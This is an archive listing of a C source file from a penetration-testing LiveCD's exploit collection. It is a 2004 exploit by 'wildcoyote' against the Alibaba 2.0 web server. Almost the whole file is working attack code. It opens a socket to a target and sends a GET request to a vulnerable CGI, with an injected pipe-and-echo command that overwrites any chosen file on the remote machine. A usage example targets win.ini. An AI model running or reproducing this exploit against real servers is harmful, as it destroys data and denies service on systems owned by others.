home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / alibaba / AlibabaFileOverwriteXploit.c < prev   
C/C++ Source or Header  |  2005-02-12  |  3KB  |  115 lines

  1. head    1.1;
  2. access;
  3. symbols;
  4. locks; strict;
  5. comment    @ * @;
  6.  
  7.  
  8. 1.1
  9. date    2004.11.21.22.13.39;    author root;    state Exp;
  10. branches;
  11. next    ;
  12.  
  13.  
  14. desc
  15. @@
  16.  
  17.  
  18. 1.1
  19. log
  20. @Initial revision
  21. @
  22. text
  23. @/*
  24.  
  25.  Description: DoS against Alibaba 2.0 WebServer by wildcoyote
  26.  Comments   : Based on advisorie by Prizm<Prizm@@RESENTMENT.org>
  27.               It is possible to overwrite any file on the remote box!
  28.  Platforms  : Alibaba runs on Win95/98/NT
  29.  Flamez to  : wildcoyote@@coders-pt.org
  30.  
  31. */
  32.  
  33. #include <netdb.h>
  34. #include <sys/types.h>
  35. #include <sys/socket.h>
  36. #include <netinet/in.h>
  37. #include <unistd.h>
  38. #include <string.h>
  39. #include <stdio.h>
  40. #include <stdlib.h>
  41. #include <unistd.h>
  42. #include <errno.h>
  43.  
  44. // If it didnt work, uncomment (JUST ONE) of the following defines...
  45. // (In case of one of them, isn't present...)
  46. #define vulnerable_cgi "/cgi-bin/post32.exe"
  47. // #define vulnerable_cgi "/cgi-bin/post16.exe"
  48. // #define vulnerable_cgi "/cgi-bin/get16.exe"
  49.  
  50.  
  51. int 
  52. openhost(char *host,int port) {
  53.    int sock;
  54.    struct sockaddr_in addr;
  55.    struct hostent *he;
  56.       
  57.    he=gethostbyname(host);
  58.    
  59.    if (he==NULL) return -1;
  60.    
  61.    sock=socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);
  62.     
  63.    if (sock==-1) return -1;
  64.     
  65.    memcpy(&addr.sin_addr, he->h_addr, he->h_length);
  66.    addr.sin_family=AF_INET;
  67.    addr.sin_port=htons(port);
  68.  
  69.    if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) sock=-1;
  70.     
  71.    return sock;
  72. }
  73.  
  74. void 
  75. sends(int sock,char *buf) {
  76.   write(sock,buf,strlen(buf));
  77. }
  78.  
  79. void 
  80. overwrite(char *host, char *file, int port)
  81. {
  82.  int sock,i;
  83.  char buf[512];
  84.  printf("\nAlibaba 2.0 WebServer File Overwrite Xploit by wildcoyote\n\n");
  85.  printf("Trying to connect to %s (%d)....(please wait)\n",host,port);
  86.  sock=openhost(host,port);
  87.  if(sock==-1) {
  88.      printf("- Could not connect -\n");
  89.      printf("Exiting...\n\n");
  90.      exit(-1);
  91.  }
  92.  else printf("Connected to %s (%d)\n",host,port);
  93.  sprintf(buf,"GET %s|echo%20>%s\n\n",vulnerable_cgi,file);
  94.  printf("Oh k! Trying to overwrite the file...\n");
  95.  sends(sock,buf);
  96.  close(sock);
  97.  printf("All done, the file was *probably* overwrited ;)\n");
  98.  printf("Send flamez to wildcoyote@@coders-pt.org, *Enjoy*...\n\n");
  99. }
  100.  
  101. main(int argc, char *argv[])
  102. {
  103.  int sock,i;
  104.  if (argc<3) {
  105.     printf("\nAlibaba 2.0 WebServer File Overwrite Xploit by wildcoyote\n\n");
  106.     printf("Sintaxe: %s <host> <path to file to overwrite> [port - default 80]\n",argv[0]);
  107.     printf("Warning: Path to file must be a valid DoS path :)\n");
  108.     printf("Evil Example: %s www.vulnerable.alibaba.com c:\\windows\\win.ini\n",argv[0]);
  109.     printf("Send flamez to wildcoyote@@coders-pt.org, *Enjoy*...\n\n");
  110.  }
  111.  else if (argc==3) overwrite(argv[1],argv[2],80);
  112.       else overwrite(argv[1],argv[2],atoi(argv[3]));
  113. }
  114. @
  115.